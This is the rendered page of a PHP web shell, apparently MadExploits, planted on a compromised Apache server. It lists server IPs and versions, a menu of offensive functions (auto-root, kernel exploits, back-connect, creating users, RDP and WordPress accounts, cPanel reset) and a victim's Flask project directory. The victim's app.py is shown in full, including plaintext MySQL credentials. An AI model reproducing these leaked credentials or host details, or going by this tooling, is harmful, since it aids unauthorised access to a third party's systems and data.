Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.117.132.49
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
420.testproject.work /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
env
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
app.py
4.01
KB
-rwxrwxr-x
app.wsgi
293
B
-rw-r--r--
app_insert.py
885
B
-rwxrwxr-x
ervice
418
B
-rw-r--r--
requirements.txt
199
B
-rw-r--r--
text_test_1.py
527
B
-rw-r--r--
udo systemctl start 420testpro...
6.93
KB
-rw-r--r--
udo systemctl status your_flas...
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : app.py
# /var/www/afra/420.testproject.work/app.py #from app import app as application from flask import Flask, render_template, jsonify, request from flask_cors import CORS import mysql.connector from datetime import datetime from app_insert import insert_into_db from text_test_1 import convert_tis620_to_unicode import logging from logging.handlers import RotatingFileHandler app = Flask(__name__, static_folder='static') CORS(app) # Configure logging logging.basicConfig(level=logging.INFO) handler = RotatingFileHandler('/var/log/python/flask_app.log', maxBytes=10000, backupCount=1) handler.setLevel(logging.INFO) app.logger.addHandler(handler) # You can use app.logger anywhere in your application to write logs app.logger.info('Flask application has started') @app.route('/text_test', methods=['GET', 'POST']) def text_test(): if request.method == 'POST': input_string = request.form.get('input_string') converted_text, error_message = convert_tis620_to_unicode(input_string) # รับค่าจากฟอร์ม ทำการแปลง และจัดการข้อผิดพลาด # ... else: # จัดการกับ GET request หรือแสดงหน้าเว็บเริ่มต้น converted_text = "" error_message = None return render_template('text_test.html', converted_text=converted_text, error_message=error_message) def convert_tis620_to_unicode(input_string): cleaned_input = clean_input(input_string) try: # ตัวอย่างการแปลงสตริงเป็นไบนารีก่อนใช้งาน decode binary_data = cleaned_input.encode('latin1') converted_string = binary_data.decode('tis-620') return converted_string, None except UnicodeDecodeError: return input_string, "ไม่สามารถแปลงข้อความจาก TIS-620 เป็น UTF-8 ได้" def clean_input(input_string): cleaned_input = input_string.replace('\xa2', '¨') return cleaned_input @app.route('/apitis_thai', methods=['POST']) def apitis_thai(): data = request.get_json() input_string = data.get('input_string') if not input_string: return jsonify({'error': 'No input_string provided'}), 400 #converted_text = convert_tis620_to_unicode(input_string) converted_text, error_message = convert_tis620_to_unicode(input_string) if error_message: return jsonify({'error': error_message}), 500 return jsonify({'converted_text': converted_text}) # สร้างการเชื่อมต่อกับฐานข้อมูล def get_db_connection(): connection = mysql.connector.connect( host="127.0.0.1", user="exoroot", password="33x6699!exs", database="app_db_01" ) return connection @app.route('/') def index(): return render_template('index.html') @app.route('/api/insert', methods=['POST']) def insert_post(): insert_into_db() # เรียกใช้ฟังก์ชันที่ถูก import return jsonify({"message": "Post inserted successfully"}), 201 @app.route('/api/posts') def get_posts(): connection = get_db_connection() if connection is None: return jsonify({"error": "Database connection could not be established"}), 500 cursor = connection.cursor() cursor.execute("SELECT `posts_id`, `posts_name`, `posts_date`, `posts_time`, `posts_status` FROM `posts` WHERE 1") posts = cursor.fetchall() cursor.close() connection.close() # แปลงข้อมูลให้เป็น JSON posts_list = [] for post in posts: post_dict = { "posts_id": post[0], "posts_name": post[1], "posts_date": post[2].strftime('%Y-%m-%d'), "posts_time": str(post[3]), "posts_status": post[4] } posts_list.append(post_dict) return jsonify(posts_list) if __name__ == '__main__': app.run(port=420)
Close